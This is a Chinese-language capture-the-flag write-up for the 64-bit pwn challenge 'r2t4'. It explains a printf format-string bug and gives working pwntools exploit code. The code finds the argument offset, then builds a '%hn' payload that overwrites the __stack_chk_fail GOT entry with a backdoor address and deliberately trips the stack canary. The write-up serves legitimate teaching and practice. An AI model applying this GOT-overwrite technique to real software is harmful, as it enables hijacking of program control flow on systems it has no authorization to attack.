先查看一下程序的保护,是一个64位的程序,开启了堆栈不可执行保护和金丝雀
用IDA分析一下程序,main函数中先读取用户输入,然后格式化输出buf区域内容
还发现了一个名为backdoor的函数,这个函数可以执行系统命令读取flag的内容
首先,printf函数存在格式化输出漏洞,通过格式化输出我们可以确定偏移
也可以直接用libformatstr计算
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 50
elf = ELF('./r2t4')
r = process('./r2t4')
r.sendline(make_pattern(bufsiz))
data = r.recv()
offset, padding = guess_argnum(data,bufsiz)
log.info("offset :" + str(offset))
log.info("padding :"+str(padding))
得到偏移为6
虽然read存在溢出,且格式化输出漏洞也会造成canary leak,但是溢出的长度太短,而且只有一次read,无法继续向栈中继续写入payload,因此常规的栈溢出无法利用
但是,这里可以通过劫持__stack_chk_fail
函数来达到控制程序流的目的
__ stack_check_fail本质上也只是动态加载的一个库函数,和puts是一样的。如果程序中没有调用别的可控函数,那么就可以先劫持__stack_chk_fail函数,再故意引发canary错误,从而调用目标函数。
整理一下思路,利用格式化字符串漏洞修改got表中的__stack_chk_fail函数为我们的后门函数backdoor的地址,再故意造成溢出从而执行后门函数。
参考两篇文章 64位格式化字符串漏洞修改got表利用详解、格式化字符串漏洞利用
- 32位的payload :payload = p32(泄露地址) + %偏移$x,这不适用64位。因为64位地址高位多为
‘\00’,这样就会使我们send 的地址和我们构造的格式化字符串中间还有好多个 ‘\00’ ,而在字符串中 ‘\00’
就代表了结束,所以在printf到’\00’时,就被认为字符串已经结束了,自然不会继续往后面printf了。所以我们需要把地址放到后面 - 或许有人会这么构造payload = ‘a’ * backdoor_addr + %偏移$n +
p64(__stack_chk_fail),但想想这里要读入多少个’a’啊!谁的程序中会一次读取那么多字符?所以要换为另一个格式字符,%c
,读入的字符屈指可数,但经过格式化漏洞转换后,那就是num个字符的输出同样可以达到相同的修改数据的效果 - 64位程序,printf在输出大量字符时有时会异常,就像前面一次性读入大量字符会异常一样,printf在一次性输出这么大量的字符时也会出现异常。所以解决办法便是一个一个字节来做出修改或者两个两个来,具体怎么修改这里不展开讲了。
system(“cat flag")的地址为0x00400626,因为是小端存储,所以我们需要将高字节写入高地址,低字节写入低地址,也是就将0x0040写入0x601018+2的地址,0x0626写入0x601018,这样系统再读0x601018的内容时也就识别为0x00400626
这里exp使用的$hn表示是以2个字节写入,一次写入2字节,当然也可以选择一次写入4、8字节但是这样可能会导致程序崩溃,所以具体多少字节的写入要看具体情况(%$hhn表示写入的地址空间为1字节,$n表示写入的地址空间为4字节,%$lln表示写入的地址空间为8字节)
exp:
from pwn import *
context.log_level = 'debug'
p = remote("node3.buuoj.cn",29497)
elf = ELF('./r2t4')
__stack_chk_fail=elf.got['__stack_chk_fail']
print len(p64(__stack_chk_fail+2))
pay = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
#pay = "%4195878c%8$nAAA" + p64(__stack_chk_fail) + "a"*17
p.sendline(pay)
p.interactive()
对%64c%9$hn%1510c%10$hnAAA"
这一串做个解释
64:0x40,对应backdoor函数地址的高两字节0x0040
9:由于格式化字符串%64c%9$hn%1510c%10$hnAAA占用了24个字节,根据64程序,所以偏移6+3=9
$hn:将已输出的字符数低2字节写到指定地址
1510:1510+64=1574=0x626,对应backdoor函数地址的低两字节0x0626
10 :在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节,即偏移为10
AAA:填充作用,栈对齐,使之为8的倍数
p64(__ stack_chk_fail+2) + p64(__stack_chk_fail) :将backdoor函数地址分为高两个字节和低两字节进行写入